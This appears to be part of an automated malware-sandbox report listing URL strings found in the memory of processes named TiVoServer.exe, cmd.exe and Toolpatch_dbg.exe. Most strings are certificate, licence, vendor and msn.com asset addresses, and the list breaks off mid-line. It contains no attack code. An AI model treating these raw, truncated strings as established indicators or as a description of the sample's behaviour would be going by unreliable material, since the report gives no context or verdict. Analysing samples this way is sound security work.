Source: TiVoServer.exe, 00000003.00000002.1379766079.0000000009384000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000005.00000002.1665596659.0000000005005000.00000004.00000800.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000002.2304789664.00000000026B2000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://sv.symcb.com/sv.crl0a
Source: TiVoServer.exe, 00000003.00000002.1379766079.0000000009384000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000005.00000002.1665596659.0000000005005000.00000004.00000800.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000002.2304789664.00000000026B2000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://sv.symcb.com/sv.crt0
Source: TiVoServer.exe, 00000003.00000002.1379766079.0000000009384000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000005.00000002.1665596659.0000000005005000.00000004.00000800.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000002.2304789664.00000000026B2000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://sv.symcd.com0&
Source: TiVoServer.exe, 00000003.00000002.1379766079.0000000009384000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000005.00000002.1665596659.0000000005005000.00000004.00000800.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000000.1623735082.00000001401E0000.00000002.00000001.01000000.00000021.sdmp, Toolpatch_dbg.exe, 00000009.00000002.2304789664.00000000026B2000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.???.xx/?search=%s
Source: TiVoServer.exe, 00000003.00000003.1367295725.0000000009FE7000.00000004.00000001.00020000.00000000.sdmp, TiVoServer.exe, 00000003.00000000.1348999682.00000000005E6000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.
Source: Toolpatch_dbg.exe, 00000009.00000003.2068242549.000000000829C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2049881149.0000000002E92000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2152122241.000000000829C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2124493079.000000000829C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2034123346.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2035159630.0000000008276000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2033069505.0000000002E92000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2051637625.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2124021558.0000000002E92000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/CPS0
Source: TiVoServer.exe, 00000003.00000002.1379766079.0000000009384000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000005.00000002.1665596659.0000000005005000.00000004.00000800.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000002.2304789664.00000000026B2000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/ssl-cps-repository.htm0
Source: TiVoServer.exe, 00000003.00000002.1394140788.0000000068641000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://www.freedesktop.org/standards/desktop-bookmarks
Source: TiVoServer.exe, 00000003.00000002.1394140788.0000000068641000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://www.freedesktop.org/standards/desktop-bookmarksapplicationgroupapplicationsgroupsprivatehttp:
Source: TiVoServer.exe, 00000003.00000002.1394140788.0000000068641000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://www.freedesktop.org/standards/shared-mime-info
Source: TiVoServer.exe, 00000003.00000000.1348999682.00000000005E6000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: http://www.gnu.org/copyleft/library.html.
Source: TiVoServer.exe, 00000003.00000003.1367295725.0000000009FE7000.00000004.00000001.00020000.00000000.sdmp, TiVoServer.exe, 00000003.00000000.1348999682.00000000005E6000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt.
Source: TiVoServer.exe, 00000003.00000000.1348999682.00000000005E6000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: http://www.gnu.org/licenses/old-licenses/old-licenses.html#LGPL.
Source: TiVoServer.exe, 00000003.00000002.1371391571.0000000000BC1000.00000002.00000001.01000000.00000010.sdmp	String found in binary or memory: http://www.google.com/talk/protocol/auth
Source: TiVoServer.exe, 00000003.00000002.1371391571.0000000000BC1000.00000002.00000001.01000000.00000010.sdmp	String found in binary or memory: http://www.google.com/talk/protocol/authga:client-uses-full-bind-resulttruePLAIN%s:
Source: TiVoServer.exe, 00000003.00000002.1379766079.000000000932E000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000005.00000002.1665596659.0000000004FBC000.00000004.00000800.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000002.2304789664.0000000002669000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.info-zip.org/
Source: TiVoServer.exe, 00000003.00000003.1367295725.0000000009FE7000.00000004.00000001.00020000.00000000.sdmp, TiVoServer.exe, 00000003.00000000.1348999682.00000000005E6000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: http://www.loudmouth-project.org/.
Source: TiVoServer.exe, 00000003.00000003.1367295725.0000000009FE7000.00000004.00000001.00020000.00000000.sdmp, TiVoServer.exe, 00000003.00000000.1348999682.00000000005E6000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: http://www.matroska.org
Source: TiVoServer.exe, 00000003.00000003.1367295725.0000000009FE7000.00000004.00000001.00020000.00000000.sdmp, TiVoServer.exe, 00000003.00000000.1348999682.00000000005E6000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: http://www.netbsd.org/.
Source: TiVoServer.exe, 00000003.00000003.1367295725.0000000009FE7000.00000004.00000001.00020000.00000000.sdmp, TiVoServer.exe, 00000003.00000000.1348999682.00000000005E6000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: http://www.nevrona.com/indy/.
Source: TiVoServer.exe, 00000003.00000002.1371391571.0000000000BC1000.00000002.00000001.01000000.00000010.sdmp, TiVoServer.exe, 00000004.00000002.1434590714.0000000000BFD000.00000002.00000001.01000000.0000001B.sdmp	String found in binary or memory: http://www.openssl.org/support/faq.html
Source: TiVoServer.exe, 00000003.00000002.1371391571.0000000000BC1000.00000002.00000001.01000000.00000010.sdmp, TiVoServer.exe, 00000004.00000002.1434590714.0000000000BFD000.00000002.00000001.01000000.0000001B.sdmp	String found in binary or memory: http://www.openssl.org/support/faq.html....................
Source: TiVoServer.exe, 00000003.00000002.1379766079.0000000009384000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000005.00000002.1665596659.0000000005005000.00000004.00000800.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000000.1623735082.00000001401E0000.00000002.00000001.01000000.00000021.sdmp, Toolpatch_dbg.exe, 00000009.00000002.2304789664.00000000026B2000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.softwareok.com
Source: Toolpatch_dbg.exe, 00000009.00000000.1623735082.00000001401F4000.00000002.00000001.01000000.00000021.sdmp, Toolpatch_dbg.exe, 00000009.00000002.2304789664.00000000026B2000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.softwareok.com/?Download=Find.Same.Images.OK
Source: Toolpatch_dbg.exe, 00000009.00000000.1623735082.00000001401F4000.00000002.00000001.01000000.00000021.sdmp, Toolpatch_dbg.exe, 00000009.00000002.2304789664.00000000026B2000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.softwareok.com/?Freeware/Find.Same.Images.OK
Source: Toolpatch_dbg.exe, 00000009.00000000.1623735082.00000001401F4000.00000002.00000001.01000000.00000021.sdmp, Toolpatch_dbg.exe, 00000009.00000002.2304789664.00000000026B2000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.softwareok.com/?Freeware/Find.Same.Images.OK/History
Source: Toolpatch_dbg.exe, 00000009.00000000.1623735082.00000001401F4000.00000002.00000001.01000000.00000021.sdmp, Toolpatch_dbg.exe, 00000009.00000002.2304789664.00000000026B2000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.softwareok.com/?seite=faq-Find.Same.Images.OK&faq=0
Source: TiVoServer.exe, 00000003.00000002.1379766079.0000000009384000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000005.00000002.1665596659.0000000005005000.00000004.00000800.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000000.1623735082.00000001401E0000.00000002.00000001.01000000.00000021.sdmp, Toolpatch_dbg.exe, 00000009.00000002.2304789664.00000000026B2000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.softwareok.de
Source: Toolpatch_dbg.exe, 00000009.00000000.1623735082.00000001401F4000.00000002.00000001.01000000.00000021.sdmp, Toolpatch_dbg.exe, 00000009.00000002.2304789664.00000000026B2000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.softwareok.de/?Download=Find.Same.Images.OK
Source: Toolpatch_dbg.exe, 00000009.00000000.1623735082.00000001401F4000.00000002.00000001.01000000.00000021.sdmp, Toolpatch_dbg.exe, 00000009.00000002.2304789664.00000000026B2000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.softwareok.de/?Freeware/Find.Same.Images.OK
Source: Toolpatch_dbg.exe, 00000009.00000000.1623735082.00000001401F4000.00000002.00000001.01000000.00000021.sdmp, Toolpatch_dbg.exe, 00000009.00000002.2304789664.00000000026B2000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.softwareok.de/?Freeware/Find.Same.Images.OK/History
Source: Toolpatch_dbg.exe, 00000009.00000000.1623735082.00000001401F4000.00000002.00000001.01000000.00000021.sdmp, Toolpatch_dbg.exe, 00000009.00000002.2304789664.00000000026B2000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.softwareok.de/?seite=faq-Find.Same.Images.OK&faq=0
Source: Toolpatch_dbg.exe, 00000009.00000002.2304789664.00000000026B2000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.surfok.de/
Source: TiVoServer.exe, 00000003.00000002.1379766079.0000000009384000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000005.00000002.1665596659.0000000005005000.00000004.00000800.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000002.2304789664.00000000026B2000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.symauth.com/cps0(
Source: TiVoServer.exe, 00000003.00000002.1379766079.0000000009384000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000005.00000002.1665596659.0000000005005000.00000004.00000800.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000002.2304789664.00000000026B2000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.symauth.com/rpa00
Source: TiVoServer.exe, 00000003.00000000.1348999682.00000000005E6000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: http://www.tivo.com/source.
Source: TiVoServer.exe, 00000003.00000002.1379766079.0000000009384000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000005.00000002.1665596659.0000000005005000.00000004.00000800.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000002.2304789664.00000000026B2000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.vmware.com/0
Source: TiVoServer.exe, 00000003.00000002.1379766079.0000000009384000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000005.00000002.1665596659.0000000005005000.00000004.00000800.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000002.2304789664.00000000026B2000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.vmware.com/0/
Source: Toolpatch_dbg.exe, 00000009.00000003.2033172892.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2212517472.000000000824D000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2050125497.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2125038224.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1977130567.0000000008269000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: Toolpatch_dbg.exe, 00000009.00000003.2033172892.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2212517472.000000000824D000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2050125497.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2125038224.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1977130567.0000000008269000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: Toolpatch_dbg.exe, 00000009.00000003.1841793050.0000000008258000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: Toolpatch_dbg.exe, 00000009.00000003.1999289037.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1946389644.0000000008269000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://alekberg.net/privacy
Source: Toolpatch_dbg.exe, 00000009.00000003.2071193527.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2053177734.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2091193020.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2016936045.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2127991752.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2001557607.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1983846059.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2159114916.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1955879045.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2035117343.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com
Source: Toolpatch_dbg.exe, 00000009.00000003.2091272655.000000000826F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com%22
Source: Toolpatch_dbg.exe, 00000009.00000003.2034726506.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2052662577.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2157774445.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2014124792.0000000002E93000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/SignInData.c9e02c88b27f1ebbd5fb.js
Source: Toolpatch_dbg.exe, 00000009.00000003.2034726506.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2052662577.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2157774445.0000000008269000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/SignInData.c9e02c88b27f1ebbd5fb.jsa202.js
Source: Toolpatch_dbg.exe, 00000009.00000003.1973176052.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/background-gallery.6a87170f98ee73bf24b6.js2f6a
Source: Toolpatch_dbg.exe, 00000009.00000003.2034726506.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2001084833.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2052662577.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1983193366.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2157774445.0000000008269000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/card-actions-wc.db942e61a9615048546c.js
Source: Toolpatch_dbg.exe, 00000009.00000003.1983427977.0000000002E92000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2001755895.0000000002E92000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/channel-store.9908d571c15b1ff8c800.js
Source: Toolpatch_dbg.exe, 00000009.00000003.1973176052.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2034726506.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1975493936.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2001084833.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2052662577.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1983193366.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2157774445.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1983427977.0000000002E92000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2031600080.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/codex-bing-chat.c6f4289aa0c5d01217d6.js
Source: Toolpatch_dbg.exe, 00000009.00000003.1983427977.0000000002E92000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/codex-bing-chat.c6f4289aa0c5d01217d6.js188&w=0
Source: Toolpatch_dbg.exe, 00000009.00000003.1973176052.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2031600080.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/codex-bing-chat.c6f4289aa0c5d01217d6.jsReports
Source: Toolpatch_dbg.exe, 00000009.00000003.2032333819.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2111904920.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2066896946.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2073663264.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2159261865.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2001995735.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2148025600.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1983905217.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2000521150.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2048949273.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2092760616.0000000008269000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/common-cscore.7a63254b423f0fa3af00.js
Source: Toolpatch_dbg.exe, 00000009.00000003.2032333819.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2111904920.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2066896946.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2148025600.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2000521150.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2048949273.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/common-cscore.7a63254b423f0fa3af00.jss
Source: Toolpatch_dbg.exe, 00000009.00000003.1956349364.0000000002E92000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1954782559.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1983427977.0000000002E92000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2001755895.0000000002E92000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/common-feed-libs.57dbe508bcee53170b9c.js
Source: Toolpatch_dbg.exe, 00000009.00000003.1956349364.0000000002E92000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/common-feed-libs.57dbe508bcee53170b9c.js%26uc
Source: Toolpatch_dbg.exe, 00000009.00000003.1983905217.0000000008269000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/common-others.5ead6b1bf53c43910a5a.js
Source: Toolpatch_dbg.exe, 00000009.00000003.2032333819.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2111904920.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2066896946.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2148025600.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2000521150.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2048949273.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1983427977.0000000002E92000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2001755895.0000000002E92000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/common-segments.61ec13f511d8b1d95182.js
Source: Toolpatch_dbg.exe, 00000009.00000003.2032333819.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2036045295.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2111904920.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2054391488.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2130822856.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2066896946.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2073663264.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2159261865.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2001995735.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2148025600.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1983905217.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2000521150.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2048949273.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2092760616.0000000008269000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/common-settings-edgenext.d59b354dc6b2737edca5.
Source: Toolpatch_dbg.exe, 00000009.00000003.1983193366.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1983427977.0000000002E92000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/common-sports-lib.3353d70875d18b84eeb8.js
Source: Toolpatch_dbg.exe, 00000009.00000003.1983193366.0000000008269000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/common-sports-lib.3353d70875d18b84eeb8.jsca5.j
Source: Toolpatch_dbg.exe, 00000009.00000003.2089565586.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/common-windows-widget-shared.47af0ef226e10ad01
Source: Toolpatch_dbg.exe, 00000009.00000003.2032333819.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2111904920.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2066896946.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2148025600.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2000521150.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2048949273.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2001755895.0000000002E92000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/common.a4f044fd68445545fb52.js
Source: Toolpatch_dbg.exe, 00000009.00000003.2032333819.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2111904920.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2066896946.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2148025600.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2000521150.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2048949273.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/common.a4f044fd68445545fb52.js5.47
Source: Toolpatch_dbg.exe, 00000009.00000003.2032333819.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2000521150.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2048949273.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/common.a4f044fd68445545fb52.js5.47b8.js
Source: Toolpatch_dbg.exe, 00000009.00000003.2035117343.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/cs-core-desktop_card-components_dist_card-bann
Source: Toolpatch_dbg.exe, 00000009.00000003.2002993039.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2075091210.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2034726506.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2001084833.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2052662577.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2019525700.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1956349364.0000000002E92000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2157774445.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2034861404.0000000002E92000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2173153308.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1983427977.0000000002E92000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 